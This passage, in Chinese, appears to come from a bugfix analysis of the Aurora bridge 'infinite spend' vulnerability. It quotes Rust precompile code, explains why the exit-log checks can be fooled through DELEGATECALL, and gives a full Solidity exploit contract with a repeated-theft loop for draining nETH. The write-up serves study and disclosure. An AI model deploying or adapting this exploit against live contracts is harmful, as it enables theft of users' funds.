    events::ExitToNear {
    sender: Address::new(context.caller),
    erc20_address: events::ETH_ADDRESS,
    dest: dest_account.to_string(),
    amount: context.apparent_value,
    },
    )
    } else {
    return Err(ExitError::Other(Cow::from(
    "ERR_INVALID_RECEIVER_ACCOUNT_ID",
    )));
    }

    ...

    let transfer_promise = PromiseCreateArgs {
    target_account_id: nep141_address,
    method: "ft_transfer".to_string(),
    args: args.as_bytes().to_vec(),
    attached_balance: Yocto::new(1),
    attached_gas: costs::FT_TRANSFER_GAS,
    };

    #[cfg(feature = "error_refund")]
    let promise = PromiseArgs::Callback(PromiseWithCallbackArgs {
    base: transfer_promise,
    callback: refund_promise,
    });
    #[cfg(not(feature = "error_refund"))]
    let promise = PromiseArgs::Create(transfer_promise);

    let promise_log = Log {
    address: Self::ADDRESS.raw(),
    topics: Vec::new(),
    data: promise.try_to_vec().unwrap(),
    };
    let exit_event_log = exit_event.encode();
    let exit_event_log = Log {
    address: Self::ADDRESS.raw(),
    topics: exit_event_log.topics,
    data: exit_event_log.data,
    };

    Ok(PrecompileOutput {
    logs: vec![promise_log, exit_event_log],
    ..Default::default()
    }
    .into())

    如果标志是0x0,将生成一个事件“ExitToNear”,记录这个出口的“sender”,“dest”和“amount”,然后返回包含事件信息的’ exit_event_log ‘。

    这些日志以及执行期间的所有其他日志将由’ filter_promises_from_logs ‘检查。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog>
    where
    T: IntoIterator<Item = Log>,
    P: PromiseHandler,
    {
    logs.into_iter()
    .filter_map(|log| {
    if log.address == ExitToNear::ADDRESS.raw()
    || log.address == ExitToEthereum::ADDRESS.raw()
    {
    if log.topics.is_empty() {
    if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) {
    match promise {
    PromiseArgs::Create(promise) => schedule_promise(handler, &promise),
    PromiseArgs::Callback(promise) => {
    let base_id = schedule_promise(handler, &promise.base);
    schedule_promise_callback(handler, base_id, &promise.callback)
    }
    };
    }

    只要使用硬编码地址生成日志ExitTo(Near|Ethereum)::ADDRESS,log.data就会将其作为要安排的新承诺进行处理。

    因为log在AUrora上的验证只需要满足“是否由内置合约地址生成”以及“msg.value是否大于0“即可通过验证。

    第一个条件时天然达成的。

    要达成第二个条件,在这里利用DELEGATECALL来代替CALL进行调用合约(Aurora只禁用了STATICCALL却没有禁用DELEGATECALL)。

    DELEGATECALL与CALL的区别如下图

    当使用DELEGATECALL调用时,msg.data/msg.value只会进行值传递,却不会变化拥有者。

    所以这个漏洞的利用链就成熟了,如下:

    1.    在Aurora上部署恶意合约,通过DELEGATECALL去调用ExitToNear(0xe9217bc70b7ed1f598ddd3199e80b093fa71124f内置合约地址)
    2.    调用下述恶意代码,Aurora将被诱骗向Near上的调用方发送nETH,但是却不会销毁发起合约的代币,从而实现窃取
    
    Exploit.sol
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // SPDX-License-Identifier: GPL-3.0

    pragma solidity ^0.8.7;

    contract Exploit {
    address payable private owner;

    constructor() {
    owner = payable(msg.sender);
    }

    function exploit(bytes memory recipient) public payable {
    require(msg.sender == owner);

    bytes memory input = abi.encodePacked("\x00", recipient);
    uint input_size = 1 + recipient.length;

    assembly {
    let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
    }

    owner.transfer(msg.value);
    }
    }
    3.    要保证恶意合约初始有部分余额,然后通过窃取-转回-再窃取的循环,指数爆炸,最终实现窃取所有代币
    

    https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d
    https://pwning.mirror.xyz/CB4XUkbJVwPo7CaRwRmCApaP2DMjPQccW-NOcCwQlAs